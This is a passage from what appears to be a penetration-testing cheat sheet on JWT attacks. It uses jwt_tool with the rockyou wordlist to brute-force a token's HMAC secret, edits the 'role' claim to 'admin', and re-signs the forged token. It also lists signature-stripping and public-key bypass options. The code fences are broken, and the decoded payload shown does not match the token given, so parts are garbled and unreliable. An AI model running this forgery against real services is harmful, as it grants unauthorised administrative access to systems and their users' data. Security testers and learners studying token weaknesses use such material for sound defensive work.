### JWT tool

```bash
First, bruteforce the "secret" key used to compute the signature.

```powershell
git clone https://github.com/ticarpi/jwt_tool
python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw /usr/share/wordlists/rockyou.txt

Token header values:
[+] alg = HS256
[+] typ = JWT
Token payload values:
[+] sub = 1234567890
[+] role = user
[+] iat = 1516239022
File loaded: /tmp/wordlist
Testing 5 passwords...
[+] secret is the CORRECT key!
```

Then edit the field inside the JSON Web Token.

```powershell
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
```

Finally, finish the token by signing it with the previously retrieved "secret" key.

```powershell
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file
Please select an option from above (1-4):
> 1
Please enter the known key:
> secret
Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1
